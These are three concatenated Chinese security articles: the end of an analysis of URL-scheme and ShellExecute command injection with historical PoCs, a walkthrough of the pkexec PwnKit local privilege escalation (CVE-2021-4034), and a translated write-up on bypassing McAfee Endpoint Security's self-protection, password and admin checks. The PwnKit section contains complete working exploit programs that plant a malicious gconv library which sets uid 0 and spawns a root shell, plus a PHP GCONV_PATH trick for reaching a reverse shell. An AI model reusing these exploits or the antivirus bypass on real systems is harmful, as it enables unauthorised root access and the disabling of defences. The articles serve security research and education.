15 00000018`474ff580 00007ffc`565ee094 twinui!CBrokeredLauncher::CLaunchHelper::LaunchUri+0xd0 [shell\twinui\associationlaunch\lib\launcher.cpp @ 1084]
但经过简单测试，从 url 闭合引号这个行为同样存在。
Electron 的这个远程命令注入漏洞罪魁祸首应该是 ShellExecute _埋下的坑。实际上被坑过的客户端软件远不止这个，甚至
ShellExecute_ 自身在处理字符串时也出现过严重漏洞。
### MS07-061 (CVE-2007-3896)
早在 10 年前就有这样的漏洞，通过浏览器点击链接却执行了任意命令：<https://docs.microsoft.com/en-us/security-updates/securitybulletins/2007/ms07-061>
> A remote code execution vulnerability exists in the way that the Windows
> shell handles specially crafted URIs that are passed to it. If the Windows
> shell did not sufficiently validate these URIs, an attacker could exploit
> this vulnerability and execute arbitrary code.
公告没有给出利用详情。不过根据另一份来自 TrendMicro 的公告，CVE-2007-3896, CVE-2007-3845 都是
CVE-2007-4041 的变体：<https://www.trendmicro.com/vinfo/id/threat-encyclopedia/vulnerability/920/multiple-browser-uri-handlers-command-injection-vulnerabilities>
CVE-2007-4041 的详情在这个 Firefox 浏览器的 issue：
<https://bugzilla.mozilla.org/show_bug.cgi?id=389580#c17>
可以看到多个测试用例，其中一个：
<a href="mailto:%../../../../../../windows/system32/cmd".exe ../../../../../../../../windows/system32/calc.exe " - " blah.bat>Mailto:%</a>
因为 url 中的 "%" 导致解析错误，最终当做路径执行了命令。
### MS10-007 (CVE-2010-0027)
2010 年类似的漏洞再次被发现：
<https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2010/ms10-007>
> The vulnerability could allow remote code execution if an application, such
> as a Web browser, passes specially crafted data to the ShellExecute API
> function through the Windows Shell Handler.
公告中明确提到漏洞的根本原因是 ShellExecute 函数未能正确地处理传入的 url，错误地把 url 类型当做路径处理。
公开的 poc 如下：
xyz://www.example.com#://../../C:/windows/system32/calc.exe
只要通过 ShellExecute* 调用即可触发。
### CVE-2007-3670
这是一个 Firefox 浏览器伪协议的参数注入，影响 Firefox 和 ThunderBird。
<https://www.mozilla.org/en-US/security/advisories/mfsa2007-23/>
<https://bugzilla.mozilla.org/show_bug.cgi?id=384384>
Firefox 注册了一个 FirefoxURL: 协议：
[HKEY_CLASSES_ROOT\FirefoxURL\shell\open\command\@]
C:\\PROGRA~1\\MOZILL~2\\FIREFOX.EXE -url “%1″ -requestPending
这篇文章的作者使用了引号闭合来注入任意参数
<http://larholm.com/2007/07/10/internet-explorer-0day-exploit/>
FirefoxURL://foo" --argument "my value
**看到 PoC 代码是不是非常眼熟？熟悉的引号闭合，熟悉的参数伪造。Electron 这个漏洞完全就是 10 年前 Firefox
曾经出现过的问题的复刻。**
最后通过 -chrome 参数注入的恶意脚本，利用 Firefox 特权域接口，可实现任意代码执行：
<html><body>
<iframe src=’firefoxurl://larholm.com” -chrome “javascript:C=Components.classes;I=Components.interfaces;
file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);
file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+
String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+
String.fromCharCode(92)+'cmd.exe');
process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);
process.init(file);
process.run(true,['/k%20echo%20hello%20from%20larholm.com'],1);
'><
</body></html>
### CVE-2007-3186
CVE-2007-3670 的作者还对当时的 Safari Windows 版做了另一个形式的利用：
<http://larholm.com/2007/06/12/safari-for-windows-0day-exploit-in-2-hours/>
<iframe src='myprotocol://someserver.com" < foo > bar | foobar "arg1'></iframe>
将会执行
"C:\Program Files\My Application\myprotocol.exe" "someserver.com" < foo > bar | foobar "arg1"
注意这个 poc 是相当过分了。在 Win32 Api 中无论是 CreateProcess _还是 ShellExecute_ 都是不支持管道符等 CMD
的特性的。唯一的解释就是，Safari 在打开外部 url 时使用了 system 函数！
同样地，作者还是使用了 -chrome 参数实现了对 Firefox 特权域的跨浏览器脚本攻击利用。
### 某聊天软件命令执行
在 2012 年某即时通讯软件爆出一个远程命令执行漏洞，在修复前 poc 就被恶作剧式地传播开来：
漏洞成因极有可能是实现打开网址时没有为其加入 `http://` 前缀而直接传给了 ShellExecute
函数，导致域名被系统当成路径名，结合目录遍历技巧可执行程序安装盘符下任意命令。但由于可控的参数仅为 lpFile，无法增加其他参数开关（能够实现参数注入是
url 场景而不是本地文件），实际利用效果不理想。
时至今日，您仍然可以在 Windows 上通过一行代码复现这个问题：
ShellExecuteW(NULL, L"open", L"www.baidu.com..\\..\\", NULL, NULL, SW_SHOW);
代码将会打开一个资源管理器。将路径指向一个存在的可执行文件，可实现命令执行。
**小贴士**
不想装 VS 编译环境的，Windows 脚本宿主里有一个 COM 接口提供 ShellExecuteEx 的功能：
var objShell = new ActiveXObject("shell.application");
WScript.Echo("Attach me...");
objShell.ShellExecute("www.baidu.com..\\..\\", "", "", "open", 1);
想要测试 ShellExecute* 的诡异特性的，可以直接用这个脚本，或者干脆在开始菜单、运行里输入 url。
### 某游戏客户端命令执行
在 HITB 2017 上，redrain 披露了一个某游戏客户端通过自定义 url scheme 执行命令的漏洞：[Attack Surface
Extended by URL
Schemes](https://conference.hitb.org/hitbsecconf2017ams/materials/D2T2%20-%20Yu%20Hong%20-%20Attack%20Surface%20Extended%20by%20URL%20Schemes.pdf)
在这个伪协议的一个参数中，期望的输入类型是 http(s) 协议的网址。但开发者居然使用 _mbsstr
（是否包含子串）来判断网址的有效性，而不是检查字符串的前缀。
最后的利用通过返回上层路径的方式绕过了其中的关键字检测，成功执行任意路径可执行文件：
qqgameprotocol://shortcut/# URL=c:/windows/system32/http://qq.com/../../calc.exe ICON=3366xs.ico NAME=AAAAAAAA
DESC=BBBBB TYPE=1 START=1
又是一个 ShellExecute 留下的坑。
## 寻找 url protocol
Android 下的 BROWSABLE 和 iOS 的 universal link
相信不少漏洞猎手和开发者已经很熟悉了，桌面端的关注度和资料相对少了一些。这大概是 Web 和移动端技术的迅猛发展带来的效应吧。
在分析 CVE-2018-1000006 的过程中就有人提问，如何寻找可用的伪协议。前文提到的一些资料里也出现了 macOS 下通过 url scheme
触发的安全问题。下面介绍一下如何枚举当前系统 url scheme 的方法。
早在 2009 年出版的 [Hacking: The Next
Generation](http://shop.oreilly.com/product/9780596154585.do) 一书中就提到了 url
scheme 在客户端软件中的攻击场景，并给出了三种平台（Windows、OS X、Linux）下枚举系统已注册伪协议的脚本（或程序）。
<https://www.safaribooksonline.com/library/view/hacking-the-next/9780596806309/ch04.html>
需要指出的是，书中提到 OSX 传递 url 参数使用了命令行，但目前 macOS 桌面应用传递 url scheme 使用的是 Apple Event：
-(void)applicationWillFinishLaunching:(NSNotification *)aNotification
{
NSAppleEventManager *appleEventManager = [NSAppleEventManager sharedAppleEventManager];
[appleEventManager setEventHandler:self
andSelector:@selector(handleGetURLEvent:withReplyEvent:)
forEventClass:kInternetEventClass andEventID:kAEGetURL];
}
- (void)handleGetURLEvent:(NSAppleEventDescriptor *)event withReplyEvent:(NSAppleEventDescriptor *)replyEvent
{
NSURL *url = [NSURL URLWithString:[[event paramDescriptorForKeyword:keyDirectObject] stringValue]];
// handle it
}
书中提供的 vbs 脚本还可以工作，但 mac 版本需要稍作修改才能通过编译。
在此提供一个可用的版本：
<https://github.com/ChiChou/LookForSchemes/blob/master/schemes.m>
/*
to compile: clang -fmodules schemes.m -o schemes
then run `./schemes`
*/
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
extern OSStatus _LSCopySchemesAndHandlerURLs(CFArrayRef *outSchemes, CFArrayRef *outApps);
extern OSStatus _LSCopyAllApplicationURLs(CFArrayRef *theList);
int main(int argc, const char * argv[]) {
@autoreleasepool {
CFArrayRef schemes;
CFArrayRef apps;
NSWorkspace *workspace = [NSWorkspace sharedWorkspace];
_LSCopySchemesAndHandlerURLs(&schemes, &apps);
for (CFIndex i = 0, count = CFArrayGetCount(schemes); i < count; i++) {
CFStringRef scheme = CFArrayGetValueAtIndex(schemes, i);
CFArrayRef handlers = LSCopyAllHandlersForURLScheme(scheme);
NSLog(@"%@:", scheme);
for (CFIndex j = 0, bundle_count = CFArrayGetCount(handlers); j < bundle_count; j++) {
CFStringRef handler = CFArrayGetValueAtIndex(handlers, j);
NSLog(@"\t%@ (%@)", handler, [workspace absolutePathForAppBundleWithIdentifier:(__bridge NSString *)handler]);
}
}
NSLog(@"\n");
}
return 0;
}
Windows 版也重写了一个，篇幅所限完整代码请到 GitHub 获取：
<https://github.com/ChiChou/LookForSchemes/blob/master/AppSchemes.cpp>
可以看到不少有趣的 url：
而他们会不会有新的漏洞呢？
## 参考资料
[1]. [Registering an Application to a URI
Scheme](https://msdn.microsoft.com/en-us/library/aa767914%28v=vs.85%29.aspx)
[2]. [About Dynamic Data Exchange](https://msdn.microsoft.com/en-us/library/windows/desktop/ms648774%28v=vs.85%29.aspx)
[3]. [Microsoft Security Bulletin MS07-061 -Critical](https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2007/ms07-061)
[4]. <https://www.trendmicro.com/vinfo/id/threat-encyclopedia/vulnerability/920/multiple-browser-uri-handlers-command-injection-vulnerabilities>
[5]. [Microsoft Security Bulletin MS10-007 -Critical](https://technet.microsoft.com/library/security/ms10-007)
[6]. [URI Use and Abuse](https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf)
[7]. [Attack Surface Extended by URL
Schemes](https://conference.hitb.org/hitbsecconf2017ams/materials/D2T2%20-%20Yu%20Hong%20-%20Attack%20Surface%20Extended%20by%20URL%20Schemes.pdf) | 社区文章 |
# 漏洞分析
这个漏洞比较nb，现有的所有版本的pkexec都受到影响
polkit是一个授权管理器，其系统架构由授权和身份验证代理组成，pkexec是其中polkit的其中一个工具，他的作用有点类似于sudo，允许用户以另一个用户身份执行命令
## 漏洞原理
来直接看源码吧
挑了个0.120版本的，直接看main函数即可
源码链接：<https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c>
首先看到534行，这里main函数进来以后，先要对运行pkexec的参数进行处理，n=1被初始化赋值
但如果直接运行pkexec，没有加任何参数，这里的n也就一直为1了
接着到610行，此时argv[1]
实际上是越界了的，因为没有输入参数，而根据栈的布局，main函数输入的参数argv和envp是挨在一起的，这个稍微有一点二进制调试经验的人都知道
也就是说此时的argv[1]指向的是envp[0]
因此 path 会被赋值为envp[0]
接着来到632行，s = g_find_program_in_path (path)，会通过PATH环境变量找到该程序的绝对路径并返回
最后触发数组下标越界写的地方在639行
此时argv[1]被赋值为 一个绝对地址，也就是 envp[0]被赋值为一个绝对地址
通过上面的分析可以发现，如果攻击者执行pkexec时，指定了恶意的envp[0]，那么可以写入一个环境变量到目标进程空间中
然后我们需要找到一个可以利用的环境变量，然后有这种方法给他写进去，这种环境变量是可以导致外部引入so并且执行其中的函数，这个变量就是GCONV_PATH
## 利用思考
**那么一个问题来了，我们利用的关键无非就是引入一个危险的环境变量，从而导入恶意so执行罢了，为什么要这么麻烦用这个漏洞呢？**
我直接调用 execve("pkexec", a_argv, a_envp);，在a_envp中指定GCONV_PATH不就完事了吗？
linux 的动态连接器ld-linux-x86-64.so.2
会在特权程序执行的时候清除敏感环境变量，除了GCONV_PATH以外，也有其他环境变量可以直接引入外部so，如LD_PRELOAD ，所以这种方法是没用的
（不信写exp试试）
具体可以看glibc源码glibc-2.27/elf/dl-support.c 的_dl_non_dynamic_init函数中：
<https://code.woboq.org/userspace/glibc/elf/dl-support.c.html>
上述代码会把危险环境变量列表UNSECURE_ENVVARS里面的每一个环境变量给删除掉
定义在 <https://code.woboq.org/userspace/glibc/sysdeps/generic/unsecvars.h.html>
可以看到，GCONV_PATH就在其中，这些环境变量都能有动态加载路径的能力，因此需要防止低权限用户通过这些环境变量利用suid程序造成提权
## 劫持执行流
**那么引入了GCONV_PATH变量，如何劫持执行流的？**
在源码中引用了很多次g_printerr函数，用于输出错误信息
该函数是调用GLib的函数。但是如果环境变量CHARSET不是UTF-8，g_printerr()将会调用glibc的函数iconv_open()，来将消息从UTF-8转换为另一种格式。
iconv_open函数的执行过程为：iconv_open函数首先会找到系统提供的gconv-modules配置文件，这个文件中包含了各个字符集的相关信息存储的路径，每个字符集的相关信息存储在一个.so文件中，即gconv-modules文件提供了各个字符集的.so文件所在位置，之后会调用.so文件中的gconv()与gonv_init()函数。
**因此如果我们改变了系统的GCONV_PATH环境变量，也就能改变gconv-modules配置文件的位置，从而执行一个恶意的so文件实现任意命令执行。**
**最后一个问题就是 如何触发调用g_printerr函数了，我看了很多exp，主要有2种方式：**
1.构造错误的XAUTHORITY环境变量，触发的函数调用路径为：
main -》validate_environment_variable
这个函数是用来检查现有的环境变量是否合法的
所以你可以看到，当你构造一个 XAUTHORITY变量，并且内容包含 “..”即可触发g_printerr函数
同理，第二种方法就是构造一个 错误的SHELL变量，就会触发g_printerr函数
# 利用过程
**1\. 伪造环境变量所指的目录文件结构**
先创建一个名为 GCONV_PATH=. 的目录，然后在这个目录中创建一个 GCONV_PATH=./pwnkit 文件
在创建一个目录pwnkit用于存放恶意的so，然后再创建一个文件 pwnkit/gconv-modules其内容为：
module UTF-8// PWNKIT// pwnkit 1
这里有个链接：<https://xy2401.com/local-docs/gnu/manual.zh/libc/glibc-iconv-Implementation.html>
简单讲了module配置文件的写法，简单来说，以上面为例子，意思是从utf-8编码转换成PWNKIT编码，转换所需的资源在pwnkit.so中，消耗cost值为1，这就会让该转换具有更高的优先级
**2\. 构造恶意so**
在pwnkit目录下编译一个so，其代码为：
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
setuid(0); setgid(0);
seteuid(0); setegid(0);
system("export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh");
exit(0);
}
编译一下
gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC
**3\. execve调用pkexec并带入恶意envp数据**
设置的环境变量有：
char *env[] = { "pwnkit", #触发越界写漏洞，最终使得写入环境变量：GCONV_PATH=./pwnkit
"PATH=GCONV_PATH=.", #使得g_find_program_in_path查找pwnkit时会在GCONV_PATH=.目录中找到pwnkit
"CHARSET=PWNKIT", #触发g_printerr更换编码字符，从而调用so中的恶意代码
"SHELL=pwnkit", #触发调用g_printerr函数
NULL };
有些exp中是没有"SHELL=pwnkit"，取而代之的是"XAUTHORITY=../xxx"，都差不多，都是为了触发调用g_printerr函数
有些exp中也没有 "CHARSET=PWNKIT"，而是 "LC_MESSAGES=en_US.UTF-8"，作用都类似
设置完这些环境变量后就调用pkexec
execve("./pkexec_105", (char*[]){NULL}, env);
# exp1
复现环境为
Ubuntu1604，pkexec版本为0.105，源码参考：<https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.105/src/programs/pkexec.c>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; /bin/sh\");\n"
" exit(0);\n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 1' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("./pkexec_105", (char*[]){NULL}, env);
}
运行截图：
# exp2
复现环境仍然是Ubuntu1604，不过选用0.115版本的pkexec进行漏洞复现，源码参考：<https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.115/src/programs/pkexec.c>
我们边整一个0.115的版本，可以用centos的docker下载后拖出来，也可以去这里下载rpm包
<https://centos.pkgs.org/8-stream/centos-baseos-x86_64/polkit-0.115-12.el8.x86_64.rpm.html>
0.114+的版本中，在main函数里面多加了一句setenv
也正是这一句，导致网上能找到的大部分exp在0.114+以后的版本中无法提权成功
目前GitHub上能找到注意到这个问题的exp就只有下面两个
<https://github.com/PeterGottesman/pwnkit-exploit>
<https://github.com/dzonerzy/poc-cve-2021-4034/blob/main/exploit.go>
**为什么有了这一句setenv会导致大部分exp无法利用呢？先说结论：这是因为setenv会导致
env环境发生迁移，使得数组越界写的漏洞无法注入恶意环境变量到envp中了**
可以做个小实验试试看
t1模拟我们的exp程序，t2模拟0.115 版本的 pkexec程序
//t1
//gcc ./t1.c -o t1
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
char *a_argv[]={NULL };
char *a_envp[]={
"env1=1",
"env2=2",
//"env3=123456789",
"env4=",
NULL
};
execve("./t2", a_argv, a_envp);
}
////////////////////////////////////////
//t2
//gcc ./t2.c -o t2
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
extern char**environ;
int main(int argc, char *argv[]) {
setenv("env3","local",1);
printf("stack envp:\n");
printf("%p:%s\n", &argv[1], argv[1]);
printf("%p:%s\n", &argv[2] ,argv[2]);
printf("%p:%s\n\n",&argv[3],argv[3]);
char** var;
printf("real environ:\n");
for (var =environ;*var !=NULL;++var)
printf("%p:%s\n", var, *var);
}
编译好后运行t1
可以看到，在t1中注入的环境变量env1，env2，env4都显示出来了
但是我们可以发现t2的环境变量地址已经发生改变了
一般来说，argv数组是和envp相邻挨着排布在栈里面的，然而这里可以看到，t2的环境变量地址已经变成了一个堆的地址，且在t2中设置的环境变量env3已经不出现在栈里面了，环境变量地址environ已经改变了
**这就会导致漏洞无法利用，前面已经分析过了，漏洞是一个数组越界写，写的是栈上的envp[0]，而此时envp已经不在栈上了，那么这个漏洞也就无法利用了，注入GCONV_PATH就不能做到了**
为什么会发生envp的迁移？答案在glibc源码中
<https://code.woboq.org/userspace/glibc/stdlib/setenv.c.html#149>
在调用setenv时，如果发现要set的env不存在，那么会调用realloc函数，重新开辟一段空间来存储environ指针，且替代旧的指针
而如果 发现要set的env存在，那么直接复制数据过去即可，不再创建堆空间
因此我们要避免setenv函数导致的envp迁移，所以需要在调用setenv之前，把该环境变量给设置一遍
回到t1.c中 把注释打开
> //"env3=123456789",
重新编译并运行：
可以看到，envp没有发生迁移，这样一来，后面的越界写的漏洞才能继续利用
也就是说，在exp1的代码中里面加入 设置环境变量 GIO_USE_VFS= 即可提权0.115版本的pkexec
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; /bin/sh\");\n"
" exit(0);\n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 1' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT","GIO_USE_VFS=", "SHELL=pwnkit", NULL };
execve("./pkexec_115", (char*[]){NULL}, env);
}
运行截图：
# 小结
本文详细写了一些网上公开的exp中没有讲到的细节，我在复现过程中也是请教了不少大哥，虽然这个cve简单，但学到的姿势还是不少的，好久没搞二进制了，搞完这个漏洞感觉爷青回，这个漏洞完全可以出成一道pwn题了，非常经典
另外通过这个cve，我还意外发现了一种php bypass disablefunction的姿势
<https://blog.csdn.net/qq_42303523/article/details/117911859>
核心原理就是：php在执行iconv函数时，实际上是调用glibc中的iconv相关函数，同样会用到iconv_open，因此如果php中存在任意文件上传的漏洞，我们就可以把so和gconv-modules传到/tmp目录中去
然后再利用php马触发到执行到so，最后实现反弹shell
例如
<?php
putenv("GCONV_PATH=/tmp/");
iconv("自定义字符集名", "UTF-8", "whatever");
?>
>
> 好久没来先知投稿了，上一次还是我大四的时候投的了，那个时候的陈师傅还不会吃人，也还没有二群，一转眼就快工作两年了，时间过得好快好快，而我还是好菜好菜....
# 参考
<https://saucer-man.com/information_security/876.html#cl-1>
<https://blog.csdn.net/qq_42303523/article/details/117911859>
<https://zhuanlan.zhihu.com/p/462668954>
<https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt>
<https://github.com/berdav/CVE-2021-4034>
<https://github.com/arthepsy/CVE-2021-4034>
<https://github.com/nikaiw/CVE-2021-4034/blob/master/cve2021-4034.py>
<https://github.com/dzonerzy/poc-cve-2021-4034/blob/main/exploit.go>
<https://github.com/ryaagard/CVE-2021-4034/blob/main/exploit.c> | 社区文章 |
# 以彼之道还施彼身：如何绕过McAfee防护机制
|
##### 译文声明
本文是翻译文章，文章原作者 dmaasland，文章来源：dmaasland.github.io
原文地址：<https://dmaasland.github.io/posts/mcafee.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在之前的渗透测试中，当我们碰到McAfee Virus Scan
Enterprise（VSE）时都会会心一笑，当时只要简单查询注册表，就能知道管理员创建的扫描例外项。
然而在这次渗透测试中，情况稍微有点复杂，因为目标使用的是McAfee Endpoint
Security。现在McAfee已经不再将扫描例外信息以明文存储在某个位置，我们无法轻松读取这些信息。
那么现在我们该何去何从呢？
本文介绍了我如何使用McAfee工具来绕过McAfee Endpoint Security产品。
## 0x01 ESConfigTool
McAfee Endpoint
Security产品在安装时会附带名为“ESConfigTool”的一个程序，该程序可以用来导入导出配置文件，详细用法可参考[此处文档](https://docs.mcafee.com/bundle/endpoint-security-10.6.0-installation-guide-unmanaged-windows/page/GUID-31F0BE99-2186-4C4E-B0E3-96F3FED8DF49.html)。
为了获取McAfee Endpoint Security的配置信息，我们需要满足如下条件：
* 解锁密码
* 管理员权限
然而我们都没有掌握这些条件。
我下载了试用版的McAfee Endpoint Security，想进一步研究一下。
## 0x02 逆向分析
现在事情开始有点棘手，我在逆向分析方面经验不足，与毛猴子无异，只能碰碰运气。
因此，让我们可以从头开始，做一下实验。我创建了如下3个例外项目：
* `C:\Windows\Temp\`
* `*mimikatz.exe`
* `C:\TotallyLegit\`
使用密码方式来保护这些设置，密码为`starwars`。
现在打开管理员命令提示符，看能否提取这些设置信息。
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Windows\system32>"C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe" /export C:\Export.xml /module TP /unlock starwars /plaintext
Command executed successfully. Please refer to Endpoint Security logs for details
C:\Windows\system32>
打开生成的XML，看是否能找到我们的例外项：
<EXCLUSION_ITEMS>
<EXCLUSION_ITEM>
<EXCLUSION_BY_NAME_OR_LOCATION>C:\Windows\Temp\</EXCLUSION_BY_NAME_OR_LOCATION>
<EXCLUSION_FILE_TYPE />
<EXCLUSION_BY_FILE_AGE>0</EXCLUSION_BY_FILE_AGE>
<EXCLUSION_TYPE>3</EXCLUSION_TYPE>
<EXCLUSION_EXCLUDE_SUBFOLDERS>1</EXCLUSION_EXCLUDE_SUBFOLDERS>
<EXCLUSION_ON_READ>1</EXCLUSION_ON_READ>
<EXCLUSION_ON_WRITE>1</EXCLUSION_ON_WRITE>
<EXCLUSION_SOURCE>0</EXCLUSION_SOURCE>
</EXCLUSION_ITEM>
<EXCLUSION_ITEM>
<EXCLUSION_BY_NAME_OR_LOCATION>**\*mimikatz.exe</EXCLUSION_BY_NAME_OR_LOCATION>
<EXCLUSION_FILE_TYPE />
<EXCLUSION_BY_FILE_AGE>0</EXCLUSION_BY_FILE_AGE>
<EXCLUSION_TYPE>3</EXCLUSION_TYPE>
<EXCLUSION_EXCLUDE_SUBFOLDERS>0</EXCLUSION_EXCLUDE_SUBFOLDERS>
<EXCLUSION_ON_READ>1</EXCLUSION_ON_READ>
<EXCLUSION_ON_WRITE>1</EXCLUSION_ON_WRITE>
<EXCLUSION_SOURCE>0</EXCLUSION_SOURCE>
</EXCLUSION_ITEM>
<EXCLUSION_ITEM>
<EXCLUSION_BY_NAME_OR_LOCATION>C:\TotallyLegit\</EXCLUSION_BY_NAME_OR_LOCATION>
<EXCLUSION_FILE_TYPE />
<EXCLUSION_BY_FILE_AGE>0</EXCLUSION_BY_FILE_AGE>
<EXCLUSION_TYPE>3</EXCLUSION_TYPE>
<EXCLUSION_EXCLUDE_SUBFOLDERS>1</EXCLUSION_EXCLUDE_SUBFOLDERS>
<EXCLUSION_ON_READ>1</EXCLUSION_ON_READ>
<EXCLUSION_ON_WRITE>1</EXCLUSION_ON_WRITE>
<EXCLUSION_SOURCE>0</EXCLUSION_SOURCE>
</EXCLUSION_ITEM>
</EXCLUSION_ITEMS>
非常好！但这是我们使用管理员权限、配合正确的密码才得到的结果。我们可以attach调试器，看一下后台的工作流程。
## 0x03 自我保护
通常情况下，attach调试器是比较简单的一个过程，只需要打开调试器、选择目标程序、再添加一些命令行参数即可。然而由于我们面对的是一款安全解决方案，因此会面临一些阻碍。这里有个比较大的问题，McAfee的组件都受该产品的“自我保护”功能的防护。如果我们尝试attach调试器，就会看到“Debugging
stopped”错误消息，McAfee也会在Self Defense日志文件中记录这些操作。
12/10/2019 12:47:09 mfeesp(2204.6392) <SYSTEM> ApBl.SP.Activity: DESKTOP-DNUK2R5\admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule "Core Protection - Protect McAfee processes from unauthorized access and termination", and was blocked. For information about how to respond to this event, see KB85494.
12/10/2019 12:47:09 mfeesp(2204.5404) <SYSTEM> ApBl.SP.Activity: DESKTOP-DNUK2R5\admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule "Core Protection - Protect McAfee processes from unauthorized access and termination", and was blocked. For information about how to respond to this event, see KB85494.
经过一些尝试和错误后，我找到了能够绕过Self Defense机制的一种方法，也就是所谓的“Super 1337, z3r0 d4y, APT-style
nation state”技术（翻译过来就是diao炸天技术）。请看如下操作：
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Users\admin>mkdir \temp
C:\Users\admin>cd \temp
C:\temp>copy "C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe" .
1 file(s) copied.
C:\temp>copy "C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\blframework.dll" .
1 file(s) copied.
C:\temp>copy "C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\EpSecApiLib.dll" .
1 file(s) copied.
C:\temp>copy "C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\McVariantExport.dll" .
1 file(s) copied.
C:\temp>copy "C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\LogLib.dll" .
1 file(s) copied.
C:\temp>
就这么简单？的确如此！我们甚至不需要管理员权限。任何普通用户都可以执行该操作。现在我们可以attach调试器，开始分析：
那现在该怎么继续处理呢？
## 0x04 绕过密码检查
来看一下当使用错误密码时会出现哪些情况。这里可能会出现一些字符串，帮我们定位：
C:\Windows\system32>"C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe" /export C:\Export.xml /module TP /unlock startrek /plaintext
There were some errors while executing command. Please refer to Endpoint Security logs for details
C:\Windows\system32>
看上去错误信息比较空泛，但McAfee的日志文件可以提供更多的信息：
10/12/2019 01:11:46.400 PM ESConfigTool(5476.8840) <admin> ESConfigTool.ESConfigTool.Error (ImportExportUtil.cpp:677): Failed to unlock client settings with user supplied password, TriggerAction failed
我们可以在调试器中搜索字符串，判断该错误的位置。
非常好，如果在此处设置断点，再次运行就可以触发断点。如果我们分析触发断点前的逻辑，可以看到目标调用了一个`BLInvokeMethod`函数，然后执行了某次跳转，但我们在输错密码时并不会执行该跳转：
此时我们需要做一些选择：
1、深入分析密码检查函数，判断函数逻辑，然后尝试破解密码；
2、让密码函数顺利运行，修改函数返回值。
由于我的懒惰天性，我选择第2种方案。当输入错误密码时，密码检查函数会在`RAX`寄存器中存储一个错误值：
如果提供正确的密码，`RAX`寄存器的值为`0`：
因此，如果我们提供错误的密码，在密码检查函数上设置断点，然后将`RAX`寄存器值改为`0`会怎么样？来试一下。
显然非常顺利。
事实证明密码检查逻辑只由该工具本身来负责，我们并不需要解密或者导出实际的配置。接下来让我们解决另一个问题。
## 0x05 绕过管理员检查
虽然输入错误密码时我们能看到比较清晰的错误提示，但如果没有以管理员权限运行该工具，我们只能看到帮助信息：
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Users\user>"C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe" /export C:\temp\Export.xml /module TP /unlock starwars /plaintext
Description:
Endpoint security configuration tool for exporting and importing policy configuration. User needs administrator privileges to run this utility. Utility needs password if the client interface is password protected. File supplied for import must be an encrypted file.
USAGE:
ESConfigTool.exe /export <filename> [/module <TP|FW|WC|ESP> ] [/unlock <password> ] [/plaintext ]
